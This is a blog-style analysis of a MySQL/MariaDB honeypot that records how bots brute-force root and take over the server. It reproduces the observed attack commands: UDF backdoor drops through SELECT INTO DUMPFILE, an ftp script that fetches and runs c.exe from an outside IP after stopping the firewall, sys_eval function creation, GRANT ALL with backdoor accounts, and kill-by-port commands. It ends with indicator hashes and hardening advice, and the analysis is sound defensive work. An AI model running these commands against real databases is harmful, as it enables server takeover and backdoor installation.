It’s well known that we just don’t put services or devices on the edge of the Internet without strong purpose justification. Services, whether maintained by end-users or administrators, have a ton of security challenges. Databases belong to a group that often needs direct access to the Internet - no doubt that security requirements are a priority here.
In this article, we will focus on the database sector, specifically MySQL, and one of the common and harmful threats that lurk on the Internet.
Bots are a well-known threat on the Internet. These lazy programs constantly check whether there is an available MySQL service on the standard TCP/3306 port. Lazy because, in our case, there were about 20-30 login attempts once per day or a few. After detecting an available database instance, the bot tries bruteforce administrator credentials. Internet scanner service binaryegde.io reports over 4.2 million available devices that have been recognized as MySQL service.
To take a closer look at the situation, I created two MySQL and MariaDB servers in fairly new releases (one after another). I wanted to find out what techniques and methods attackers are currently using to escalate rights and take control of the server and find out their purpose.
The honeypot was available for over a month on a standard TCP/3306 port with a fake root account and an easy-to-guess password. I configured the root account in such a way that the bot would not do any damage once logged in. Permissions on that account were very low but not minimal. Except for enabled event logging, the rest of the configuration was default. I also created a few databases (besides standard 'mysql', 'test', etc.) along with tables to create a realistic production environment.
I didn’t observe many login attempts during the first period until the honeypot IP was listed on Shodan in the “product:mysql” search results.
I observed 24 unique IP addresses throughout honeypot operation. During the analysis, it turned out that some addresses were related. For example, some addresses simply disappeared after a successful bruteforce, and then, after some time connection from new IP managed to log in at the first attempt.
Yongger is a well-known bot that has been active on the Internet for many years. Yongger (in Chinese - brave) uses two methods, respectively for Windows and Linux servers. Despite the fact that Yongger checks the operating system, it still performs both operations 'blindly', so we observe attempts to run Windows PE files (like DLL, EXE) on Linux system, etc.
Method 1 (for Windows)
After guessing the password, the bot collects server information, turns off autocommit mode, and places a hexed UDF malicious plugin (DLL) in the 'a' variable.
MySQL User Defined Functions (UDF) allows you to create your very own functionality and use that inside the MySQL. Bots use this method to call shellcode or act as a backdoor.
The SELECT… INTO DUMPFILE clause creates cna12.dll (other variants: nusql.dll, bincna12.dll) in the plugins directory. The function DUMPFILE is executed in two slightly changed variants. However, to be able to create a file using the following method, the user must have FILE privilege granted, and the mysqld process must have WRITE access to the designated directory (further adjustments can be required depending on MySQL version and configuration).
CREATE FUNCION calls xpdl3() function, which downloads the target backdoor - isetup.exe (another variant: asetup.exe) and saves it in the root directory of the C:\ drive.
DROP commands remove auxiliary tables and functions, hiding traces of malicious activity.
Method 2 (for Windows)
The next method prepares (3x DROP) environment for the next attack and places another hex-encoded UDF malicious plugin. This time the payload is much bigger than the previous one.
Function DUMPFILE creates a y.exe on the C drive and puts another hexed payload in the 'a' variable.
The new plugin-backdoor (amd.dll) is placed in multiple locations and then used by CREATE FUNCTION to create the amdshelv() function, which name reveals its purpose.
The bot now tries to stop the ‘sharedaccess’ Windows service, then creates a ge.dat script for the ftp client and runs it: ftp -s: ge.dat. We can see the ftp credentials 123/123 that are used. Here is a more readable form:
cmd.exe cmd/c net stop sharedaccess
echo open 103.206.21.89>>ge.dat
echo 123>>ge.dat
echo 123>>ge.dat
echo bin>>ge.dat
echo get c.exe
ge.dat
echo get c.exe>>ge.dat
echo bye>>ge.dat
ftp -s:ge.dat
c.exe
absl.exe
del ge.dat
del y.exe
del y.exe
Two executables are called: c.exe and absl.exe, which ends the attack.
I was curious about the fact that the absl.exe file appeared, which is probably a consequence of executing c.exe.
I was trying to get to the ftp server to poke around – all I got was a message telling me that the limit of 421 active connections was reached (screenshot below). In other words, this attack is active and apparently successful.
HTTP server (TCP/996) preview below:
I visited the site two times and the number of hits has doubled over two weeks.
Method 2 (for Linux)
Following variant aims the Suse Linux distribution. In order to make an access to the system shell, the bot trying to run one of the possible legit UDF plugins, hoping it exists:
CREATE FUNCTION sys_eval RETURNS string SONAME 'mysqludf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'mysqludf64.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'udf.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji64.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'xiaoji.so'
CREATE FUNCTION sys_eval RETURNS string SONAME 'liunx32.so'
create function sys_eval RETURNS string SONAME 'liunx64.so'
CREATE FUNCTION sys_eval returns string soname "lib_mysqludf_sys.so"
Similar to the previous actions, the bot downloads a malicious executable named ‘mysqld’ (other variants: lisnu, ssyn) from the same address and tries to run it after the firewall (iptables and reSuSEfirewall2) services are stopped. It does this in two ways, one after another.
The following attack is more interesting. There are more steps than just trying to upload and run an executable in various ways. Many similarities may suggest that this is an improved version of Yongger, but there are exceptions. However, it is certain that the bot which making connections from that address already knew credentials - the first connection to the server was authenticated right away.
The bot immediately tries to grant all possible permissions to the root account (which we’re currently using) and creates new accounts: server and mysqld.
GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DROP, EVENT, EXECUTE, FILE, INDEX, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER ON *.* TO 'root'@'%' WITH GRANT OPTION
insert into mysql.user(Host,User,Password) values("%","server",password("123456*a"))
CREATE USER 'mysqld'@'%' IDENTIFIED BY '123456*a'
After user creation attempts bot enables global variables log_bin_trust_function_creators and (outdated) log_bin_trust_routine_creators in order to use the CREATE FUNCION more reliable.
Then updates max_allowed_packet variable to prepare for a bigger chunk of payload:
set global log_bin_trust_function_creators=1
set global log_bin_trust_function_creators=TRUE
SET GLOBAL log_bin_trust_routine_creators=1
max_allowed_packet=1073741824
Further steps look the same as before, where clause SELECT… INTO DUMPFILE was used.
Other Linux activity:
We can see here attempts of killing many processes, starting from lz1:
ps -ef | grep lz1|grep -v grep|cut -c 9-15|xargs kill -9
This is a substitute of a combination pidof and pkill commands. Then continue by killing processes: .sshd, .ssh, and1, cisco, ciscoh, L24 and L26 – preparing the ground for a new attack.
There is also an interesting way of killing processes. Perhaps the same processes, but this time by their TCP ports:
kill str=`netstat -anept 2>/dev/null |grep -E ':(68866|7583|2222|10711|6009|10991|10771|7168|7668|36000|36001|25000|25001|25002)'|cut -d / -f 1`
Windows PE:
Filename(s) |
Description |
MD5 |
cna12.dll / bincna12.dll |
backdoor |
a922d55a873d4ad0bbbbbc8147a3a65a |
amd.dll |
backdoor |
f8d1e5274de567e1b98c6d3d90eb6a3f |
nusql.dll |
backdoor |
9c9a70db100822a398d9d5c4fcc82193 |
y.exe / c.exe / 360.exe / isetup.exe / asetup.exe |
backdoor |
c71eacf3ffaf82787a533eb452bcf3e7 |
Linux ELF:
Filename(s) |
Description |
MD5 |
ymqynd32.so / lib_mysqludf_sys.so |
legit UDF |
e3a5eed3b2152ce6bfc5417ec001ced8 |
ssyn |
backdoor |
a011ae821ae822bade7ef4f396dcc20c |
As the analysis shows, the bots, in this case, are not particularly aggressive. They don't overload the network or force your credentials in hundreds of thousands of tries to get inside. Slowly checking popular passwords can sometimes get the desired effect.
Although I didn’t observe any activity indicating that the attacker was downloading files, databases, or attempts to encrypt a drive (ransomware), the main goal of the attack was to take control of the server (partial or complete) and establish a CNC channel.
Looking at the numbers, over 1200 times the backdoor was downloaded, or 421 active ftp connections did not allow logging in - it proves only that despite such simple tricks, the attack often succeeds.
It's certainly not a threat to well-administered databases, but we should definitely pay attention to details such as installed UDF plugins, directory owner and privileges, accounts, and their hosts - 'root'@'%' vs 'root'@'localhost', and many more.
To protect yourself from this type of attack, you will most likely need to use a custom (non-standard) administrator name and remove the root account. Using a long and complex password is an absolute requirement. It is a good practice to implement a password policy (if you’re an organization), use plugins that will take care of the password complexity level, password validity period, etc., and periodically do database security audits.